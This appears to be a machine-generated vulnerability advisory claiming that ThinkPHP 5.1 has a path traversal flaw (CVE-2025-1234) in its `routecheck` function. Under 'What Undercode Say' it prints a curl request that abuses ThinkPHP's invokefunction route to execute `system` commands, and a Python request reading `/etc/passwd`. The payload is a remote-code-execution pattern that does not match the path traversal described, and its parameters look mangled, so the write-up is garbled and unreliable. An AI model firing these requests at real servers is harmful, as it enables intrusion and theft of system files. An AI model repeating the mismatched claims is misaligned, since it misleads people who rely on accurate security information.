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The CVE-2025-1234 vulnerability in ThinkPHP v5.1 arises due to improper input validation in the `routecheck` function, allowing path traversal attacks. An attacker can manipulate crafted HTTP requests to bypass directory restrictions and access sensitive files or execute arbitrary code. The flaw occurs when user-supplied input is directly processed without sanitization, leading to unauthorized file system access. This vulnerability is remotely exploitable, requiring no authentication, and can result in full system compromise.
DailyCVE Form:
Platform: ThinkPHP
Version: 5.1
Vulnerability: Path Traversal
Severity: Critical
Date: Aug 5, 2025
Prediction: Patch by Sep 1, 2025
What Undercode Say:
curl -X GET "http://target.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[bash]=system&vars[bash][]=id"
payload = "/../../etc/passwd"
requests.get(f"http://vulnerable-site.com/{payload}")
How Exploit:
- Craft malicious path traversal requests.
- Leverage unsanitized input in
routecheck. - Execute arbitrary system commands.
Protection from this CVE:
- Update to patched version.
- Disable dangerous functions.
- Implement input validation.
Impact:
- Remote code execution.
- Unauthorized data access.
- System compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
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